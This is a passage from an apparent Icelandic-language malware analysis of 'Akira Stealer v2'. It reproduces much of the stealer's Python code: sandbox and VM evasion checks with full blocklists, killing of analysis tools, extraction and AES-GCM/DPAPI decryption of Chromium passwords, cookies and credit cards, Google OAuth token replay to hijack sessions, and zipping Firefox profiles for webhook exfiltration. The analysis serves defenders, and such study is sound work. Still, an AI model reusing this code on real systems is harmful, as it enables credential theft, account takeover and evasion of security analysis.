or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUID-athugun – að finna sýndarvélar út frá vélbúnaðar-UUID
Algeng taktík í evasion malware-sins er að taka fingrafar af vélbúnaðarumhverfinu. Eitt fyrsta auðkennið sem getur gefið sýndarvél til kynna er kerfis-UUID-ið (Universally Unique Identifier). Sýndarvæðingarpallar eins og VMware og VirtualBox mynda oft UUID sem eru forspáanleg eða endurnotuð, og malware getur notað þau til að ráða í hvort það keyri í sýndar- eða sandbox-umhverfi.
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
Þessi athugun nýtir Windows Management Instrumentation Command-line (WMIC) tólið til að draga út UUID hostvélarinnar. Gildið sem kemur til baka er svo borið við valinn lista af UUID sem almennt eru tengd við sniðmát sýndarvéla eða þekktar greiningaruppsetningar.
7.3.6 Athugun á tölvuheiti – að finna sandbox- og greiningarumhverfi út frá hostname
Hostname kerfisins, sem lesið er úr umhverfisbreytunni %COMPUTERNAME%, gefur oft vísbendingar um umhverfið. Greinendur nota oft sjálfgefin eða fljótgerð hostname eins og "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eða jafnvel heiti sem tengjast þeirra innri umhverfum. Malware nýtir þetta og ber hostname kerfisins við svartlista.
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
Ef samsvörun finnst getur malware-ið valið að stöðva keyrslu eða dreifa fölsuðum payload og komast þannig hjá fullri hegðunargreiningu.
7.3.7 Athugun á notandareikningi – að greina reikninga greinenda og sjálfgefna reikninga
Önnur heuristík byggir á því að skoða notandanafnið sem malware-ið keyrir undir. Mörg sniðmát sýndarvéla og sandboxa endurnota algeng notandanöfn eins og "Abby", "Test" eða "wdagutilityaccount". Þessi nöfn hafa litla óreiðu og eru oft harðkóðuð í sandbox-umhverfum með opnum kóða.
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
Þessi athugun styrkir detection með því að beinast að notandasamhenginu, sem getur haldist óbreytt jafnvel eftir endurræsingar eða snapshots sýndarvéla.
7.3.8 Hýsingarathugun – að finna opinbera cloud-innviði
Sumt malware notar utanaðkomandi IP-upplýsingaþjónustur til að athuga hvort sýkta kerfið sé í þekktu gagnaveri eða hjá cloud-veitanda. Í þessu tilviki er einföld HTTP-beiðni send á ip-api.com og spurt hvort IP-ið sé merkt sem "hosting".
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
Þetta gerir malware-inu kleift að ákvarða hvort það keyri á innviðum í eigu Microsoft Azure, AWS, DigitalOcean og svo framvegis, sem er viðvörunarmerki um sandbox.
7.3.9 HTTPS-hermunarathugun – að leita að SSL-hlerun
Til að finna umhverfi með SSL-skoðun (algengt í fyrirtækja- og rannsóknarnetum) sendir malware-ið meinlausa HTTPS-beiðni á handahófskennt undirlén undir .in. Ef tengingin bregst, vegna DNS-síunar, hlerunarproxa eða þess að certificate pinning misheppnast, getur það verið merki um að malware-ið sé í greiningu.
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
Þessi fíngerða aðferð prófar heilleika netleiðarinnar án þess að kveikja á viðvörunum eða krefjast sérstakra innviða.
7.3.10 Athugun á registry og GPU-driverum – að finna signature sýndar-GPU
Tiltekin sýndarumhverfi koma upp um sig með registry-lyklum eða lýsingum á GPU-driverum. Akira keyrir tvöfalda stefnu: það gerir fyrirspurnir í registry-færslur sem tengjast grafíkundirkerfinu og skoðar sérstaklega úttak wmic með tilliti til grunsamlegra GPU-strengja.
@staticmethod
def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
Þessar athuganir á vélbúnaðarlaginu eru sérstaklega áhrifaríkar gegn uppsetningum greinenda sem hylja ef til vill ekki sýndarvædda skjástýringu að fullu.
7.3.11 Að drepa tasks – að slá greiningartól út í rauntíma
Í stað þess að komast hjá detection eingöngu með óvirkum hætti gengur Akira skrefi framar og stöðvar með virkum hætti þekkt greiningar- og aflúsunartól. Það ræsir bakgrunnsþráð sem fer í gegnum lista ferla og drepur hverja samsvörun sem það finnur.
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
Þessi tól, sem viðbragðsaðilar og malware-greinendur nota almennt, eru gerð óvirk áður en þau geta safnað marktækum hegðunar-artifacts.
Samantekt
Akira notar fágað safn aðferða gegn greiningu sem beinast að mörgum lögum kerfisins, allt frá umhverfisbreytum og registry-lyklum til netprófana og ferlalista. Þessum búnaði er ætlað að finna og komast hjá bæði sjálfvirkum sandboxum og handvirkum skoðunaruppsetningum.
Samsetning óvirkrar fingrafaratöku og virkrar kúgunar (t.d. að drepa tasks) sýnir hvernig jafnvel malware-fjölskyldur í miðjum flokki samþætta nú evasion-rökvísi í mörgum lögum.
7.3.12 Fullir svartlistar og detection-föll
Svartlistuð vélbúnaðar-UUID
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
Svartlistuð tölvuheiti
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
Svartlistaðir notandareikningar
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
Svartlistuð ferli greiningartóla
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
Kjarnaaðferðir við detection
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 Rökvísi keyrslu og stöðvunar
- Frumstilling: inni í
Akira.__init__()-smiðnum kallar malware-ið samstundis áVmProtect.isVM(1)til að framkvæma hraðar sýndarvæðingarathuganir með lítinn tilkostnað (t.d. hostname, notanda, HTTPS-hermun). - Djúpskoðun: ef fyrsta prófið gengur upp kallar það á
VmProtect.isVM(2), sem kveikir á heildstæðari athugunum, þar á meðal staðfestingu á vélbúnaðar-UUID, detection á hýsingu í gegnumip-api.comog skönnun á registry-artifacts. - Stöðvunarleið: ef einhver athugun skilar
True, sem gefur sýndar- eða greiningarumhverfi til kynna, keyrir kóðinnsys.exit()og stöðvar keyrsluna áður en nokkrar rútínur til gagnasöfnunar eða exfiltration fara í gang.
7.3.14 Niðurstaða
VmProtect-einingin í Akira Stealer v2 sýnir lagskipta vörn gegn greiningu sem nýtir bæði fingraför staðbundna kerfisins og netbyggða heuristík. Með því að skilja þessar nákvæmu athuganir og mæla þær geta þeir sem verjast snúið taflinu við og greint slíkt evasivt malware í raunumhverfum.
7.4 Exfiltration browsergagna
Eitt af kjarnamarkmiðum Akira Stealer v2 er umfangsmikill útdráttur viðkvæmra gagna sem browserinn hefur vistað. Malware-ið hefur sérsniðnar einingar sem beinast bæði að Chromium-byggðum og Gecko-byggðum (Firefox) browsers. Geta þess nær til útdráttar og afkóðunar á vistuðum lykilorðum, cookies, kreditkortagögnum, sjálfvirkum útfyllingarfærslum og jafnvel setutokens sem má nota til að yfirtaka reikninga að fullu.
1. Uppsetning vinnusvæðis
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- Búið er til einnota staging-svæði undir tímabundnu möppu kerfisins, nefnt eftir vél fórnarlambsins (%TEMP%\DESKTOP-
), sem tryggir að allir exfiltreraðir artifacts safnist á einn stað sem auðvelt er að pakka. - Gögn eru einangruð eftir tegund: sex sérstakar undirmöppur (Passwords, Cookies, CreditCards, History, Autofill, Wallets) koma í veg fyrir nafnaárekstra og einfalda pökkun síðar, því hver útdráttarrútína skrifar aðeins í sína eigin möppu.
- Möppur eru búnar til á sjálfvirkan óskaðlegan hátt með exist_ok=True, svo ef malware-ið keyrir aftur (t.d. við endurræsingu eða persistence) hrynur það ekki og skrifar ekki yfir gögn sem þegar eru til, ný atriði leggjast einfaldlega við sömu uppbyggingu.
- Það greiðir fyrir valkvæmri tiltekt: þegar upphali og tilkynningu er lokið getur stealerinn kallað á Utils.clear_client_folder() til að eyða endurkvæmt aðeins sínu eigin vinnusvæði og skilja engar skrár eftir.
- Það leggur grunninn að samhliða útdráttarþráðum: með því að búa öll markmið til fyrirfram geta bakgrunnsþræðir sem safna browser-credentials, cookies, sjálfvirkum útfyllingum, kryptóveskjagögnum og öðru skrifað niðurstöður samstundis án frekari athugana, sem lágmarkar tilkostnað og minnkar þann glugga sem varnarhookar hafa til að greina óvænta skráa-I/O.
2. Studdir browsers
- Chromium‑byggðir
- Google Chrome (Stable & SxS)
- Microsoft Edge
- Brave Browser
- Opera & Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
- Firefox‑byggðir (í gegnum
GeckoDriver)- Mozilla Firefox
- Waterfox
- Pale Moon
Akira finnur notandaprófíla dýnamískt með umhverfisbreytum og vel þekktri möppuuppbyggingu:user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
Það athugar endurkvæmt hvaða browser-prófílar eru til (t.d.Default,Profile 1og fleiri) og beinist að SQLite-gagnagrunnum inni í þeim slóðum.
7.4.1 Gagnategundir sem dregnar eru út
| Gagnategund | Upprunaskrá | Athugasemdir |
|---|---|---|
| Vistuð lykilorð | Login Data (Chromium) |
Afkóðað með DPAPI eða AES-GCM (eftir Chromium v80) |
| Cookies | Cookies |
Getur innihaldið setutokens, sérstaklega fyrir Google- og Facebook-reikninga |
| Sjálfvirk útfyllingargögn | Web Data |
Heimilisföng, tölvupóstar, símanúmer og fleira |
| Kreditkort | Web Data |
Dulkóðað, þarf masterlykil |
| Setutokens | Í minni og í cookies | Nær yfir Gmail, Google-reikninga og replay á Discord-OAUTH |
| Ferilskrá og URL | History, Visited Links |
Voru einnig exfiltreruð til árásaraðilans |
3. Útdráttareiningar Þegar höfundar malware beinast að browsers eru helstu fjársjóðirnir hinir ýmsu SQLite-gagnagrunnar þar sem Chrome, Firefox og skyld forrit geyma credentials, cookies, ferilskrá og sjálfvirkar útfyllingarfærslur. astor.py vefur saman léttu Python-kóða og innbyggðum API til að plokka hvert gagnabrot með aðferð, og jafnvel endurspila lifandi OAuth-setur, án þess að skilja eftir spor. Hér fyrir neðan er ítarleg ferð eining fyrir eining, orðrétt úr kóðanum.
7.4.2 Lykilorðadumpari (Chromium.GetPasswords)
Þessi eining leitar með aðferð í gegnum alla Chromium-byggða browser-prófíla til að draga út vistuð innskráningar-credentials. Með því að beinast að Login Data SQLite-gagnagrunninum sækir hún notandanöfn og dulkóðuð lykilorð og notar svo dulkóðunarlykil pallsins (sóttan í gegnum DPAPI eða AES-GCM) til að afkóða þau í hreinan texta. Þessi credentials eru mjög verðmæt til að stikla áfram eftir kompromíseringu eða til að yfirtaka reikninga.
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- Finnur hvern
Login DataSQLite-gagnagrunn undirUser Data-möppu browsersins. - Afritar í tímabundna skrá til að forðast læsingar browsersins.
- SQL-fyrirspurn:
SELECT origin_url, username_value, password_value FROM logins. - Afkóðar hvert
password_value-blob með AES‑GCM (v10/v11) eða fellur til baka á Windows DPAPI. - Skrifar úttakið í
Passwords/<BrowserName> Passwords.txt.
7.4.3 Kreditkortadumpari (Chromium.GetCreditCards)
Hér nær stealerinn í vistuð kreditkortagögn úr Web Data-skrá hvers browser-prófíls. Hann leggur áherslu á að draga út gildistíma og dulkóðuð kortanúmer, sem eru svo afkóðuð með sömu rökvísi og lykilorðin. Þótt CVV-kóðar séu yfirleitt ekki vistaðir má samt misnota upplýsingarnar sem endurheimtast til svika þar sem kortið er ekki til staðar.
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- Beinist að
Web DataSQLite-geymslunum undir hverjum prófíl. - SQL-fyrirspurn:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards. - Afkóðar
card_number_encryptednákvæmlega eins og lykilorðablobbin. - Skilar í
CreditCards/<BrowserName> CreditCards.txt.
7.4.4 Cookie-dumpari (Chromium.GetCookies)
Cookies, og einkum setucookies, eru helstu skotmörk til að yfirtaka reikninga án lykilorða. Þessi eining dumpar allar cookie-skrár þvert á prófíla, afkóðar þær og safnar nauðsynlegum lýsigögnum eins og léni, heiti og gildistíma. Ásamt fingrafaratöku geta þessi cookies gert replay-árásir á auðkenndar þjónustur snurðulausar.
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- Skannar hvern
CookiesSQLite-gagnagrunn. - Velur
host_key, name, path, encrypted_value, expires_utc. - Afkóðar hvert
encrypted_value-blob til að afhjúpa hinn eiginlega cookie-streng. - Vistar í
Cookies/<BrowserName> Cookies.txt.
7.4.5 Dumpari Google-seta (Chromium.dump_google_sessions)
Þessi rútína er einn af háþróaðri hlutunum og afkóðar vistuð OAuth-tokens úr token_service-töflunni. Með því að endurspila þau í gegnum multilogin-endapunkt Google getur malware-ið endurmyndað virk setucookies, sem gerir árásaraðilum kleift að yfirtaka Google-reikninga án credentials. Þetta sýnir hvernig access tokens eru orðin helstu skotmörk í nútíma stealers.
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account’s cookies to file
- Sækir
serviceog hráttencrypted_tokenúr afriti afWeb Data. - AES‑GCM-afkóðun með
Local State-lykli browsersins. - Endurspilar afkóðuð tokens í POST á
multilogin-API Google til að endurgera gild OAuth-cookies. - Skrifar setuskrár fyrir hvern reikning undir
Cookies/<display_email> Google Session.txt.
7.4.6 Ferilskrárdumpari (Chromium.GetHistory)
Þetta fall dregur út færslur úr vafraferli, þar á meðal URL, titil og heimsóknartíðni. Auk þess að vera innrás í einkalíf hjálpa þessi gögn árásaraðilum að skilja hegðun fórnarlambsins, finna verðmæt skotmörk (t.d. bankavefi) og sníða payloads fyrir félagslega hönnun.
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- Velur
url, title, visit_count, last_visit_timeúr hverjumHistory-gagnagrunni. - Raðar færslum eftir
last_visit_timeí fallandi röð. - Skilar
History/<BrowserName> History.txt.
7.4.7 Dumpari sjálfvirkra útfyllinga (Chromium.GetAutofills)
Sjálfvirkar útfyllingarfærslur, svo sem heimilisföng, nöfn, tölvupóstar og stundum gögn sem tengjast greiðslum, eru sópaðar úr Web Data-geymslu browsersins. Þessi gildi virðast ef til vill ekki afgerandi, en samanlögð gefa þau ríka mynd af auðkenni og hegðun fórnarlambsins.
results = cursor.execute(
"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
- Sækir færslur úr útfyllingum forma:
name, valueúrweb data-skránni. - Skrifar út sem
Autofill/<BrowserName> Autofill.txt.
7.4.8 Firefox-prófílagrabbari (GeckoDriver og grabFirefoxProfiles)
Ólíkt fínkornóttu Chromium-rútínunum velur þetta fall breiða nálgun: það þjappar allri Firefox-prófílmöppunni, þar á meðal vistuðum innskráningum, cookies og bókamerkjum, og exfiltrerar hana í heilu lagi. Það tryggir að árásaraðilar geti greint eða dregið út gögn utan nets og komist fram hjá afkóðunarhindrunum með þekktum NSS-verkfærum.
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
- Pakkar allri
%APPDATA%\Mozilla\Firefox\Profiles-möppunni í ZIP. - Nefnir hana
%TEMP%\<ComputerName>_Firefox_profiles.zipog sendir niðurhalshlekkinn yfir sömu webhook-rásir. - Kallar einnig á sömu SQLite-byggðu útdráttarföllin (
logins.json,cookies.sqlite,places.sqlite) á hvern Firefox-prófíl með þeim NSS-afkóðunarrútínum sem þegar eru til staðar.
7.4.9 Samantekt útdráttar
Astor.py stjórnar heildstæðri kompromíseringu browsersins með því að safna með aðferð hverju credential og hverjum setu-artifacti þvert á Chromium-byggða og Firefox-klienta. Það finnur og afritar hverja SQLite-geymslu á öruggan hátt, Login Data, Web Data, Cookies, History og autofill, og keyrir svo markvissar SQL-fyrirspurnir til að draga út URL, notandanöfn, lykilorð, kreditkortaupplýsingar, cookies, vafraferil og útfyllingarfærslur forma. Lykilorð og greiðslugögn eru afkóðuð með AES-GCM (eða falla til baka á Windows DPAPI), en cookies eru pakkað upp á sama hátt til að afhjúpa gildi þeirra í plaintext. Fyrir Google-reikninga eru dulkóðuð OAuth-tokens úr token_service afkóðuð og endurspiluð gegn multilogin-API til að endurmynda lifandi setucookies. Að lokum eru Firefox-prófílar pakkaðir í heilu lagi (þar á meðal logins.json, cookies.sqlite og places.sqlite) og afhentir sem ZIP, svo enginn artifact verði eftir. Þessi pípa frá upphafi til enda keyrir hljóðlega undir %TEMP%\<ComputerName> og býr til snyrtilega skipulagðar úttaksskrár fyrir hvern gagnaflokk.
7.5 Rökvísi afkóðunar
Nútíma browsers eins og Chrome og Edge dulkóða viðkvæm gögn, svo sem lykilorð, cookies og kreditkortaupplýsingar, áður en þau eru vistuð staðbundið. Akira hefur innbyggðar afkóðunarrútínur sem eru sniðnar að því að takast á við bæði eldri og núverandi dulkóðunaraðferðir Chromium. Það tryggir að það geti dregið út gögn í hreinum texta óháð því hvaða patch-stigi eða browser-útgáfu kerfið er á.
Kjarni þessa ferlis er útdráttur og afkóðun á meginlykli browsersins, sem geymdur er í skrá sem heitir Local State. Eftir útgáfu browsersins og Windows-byggingu velur Akira dýnamískt viðeigandi afkóðunaraðferð:
DPAPI (Data Protection API) er notað á eldri kerfum, þar sem Chrome geymir leyndarmál varin af Windows-credentials núverandi notanda.
AES-GCM er notað í nýlegum Chromium-byggingum, þar sem meginlykill sem myndaður er af handahófi er sjálfur dulkóðaður með DPAPI og svo notaður til dulkóðunar notandagagna inni í forritinu.
Með því að afkóða Local State-meginlykilinn fyrst fær Akira getuna til að opna öll leyndarmál browsersins, sem greiðir brautina fyrir útdrætti á credentials, tokens, cookies og fleiru.
Útdráttur lykils
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
Afkóðun (AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
Ef þörf er á að falla til baka á DPAPI (á eldri kerfum) notar það win32crypt.CryptUnprotectData().
Skýring á decrypt_password_blob:
Þetta fall sýnir hvernig Akira Stealer afkóðar hvert vistað lykilorðagildi úr Chromium-byggðum browsers. Það tekur á tveimur tilvikum:
- Windows DPAPI-blob (eldri gögn eða gögn sem eru ekki GCM-dulkóðuð): fellur til baka á kerfiskallið
CryptUnprotectData, sem notar Windows-credentials notandans til afkóðunar. - AES-GCM-dulkóðuð blob (snið Chrome v10/v11): les útgáfuhausinn, dregur út IV og sannvottunartag og notar
cryptography-safnið til að afkóða payloadinn á öruggan hátt.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 Yfirtaka setutokens
Akira lætur ekki staðar numið við óvirka gagnasöfnun, það yfirtekur með virkum hætti lifandi setutokens til að þykjast vera fórnarlömbin í rauntíma. Eftir að hafa dregið dulkóðuð tokens úr geymslu browsersins endurgerir það þann authorization-haus sem þarf og endurspilar MultiLogin-beiðni gegn OAuth-endapunkti Google. Kóðabrotið hér fyrir neðan sýnir ferlið:
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim’s cookies now present in response.cookies
hijacked_cookies = response.cookies
Með því að endurspila þessa beiðni getur Akira þykjast vera notandinn í Gmail, Drive eða hverri annarri Google-þjónustu sem varin er af gildri setu, án þess að þurfa nokkur credentials. Þessi tækni nýtir rökvísi Google sjálfs um viðurkenningu tokens, sem gerir hana nánast ógreinanlega frá hegðun lögmæts klients.
7.7 Afkóðun Firefox
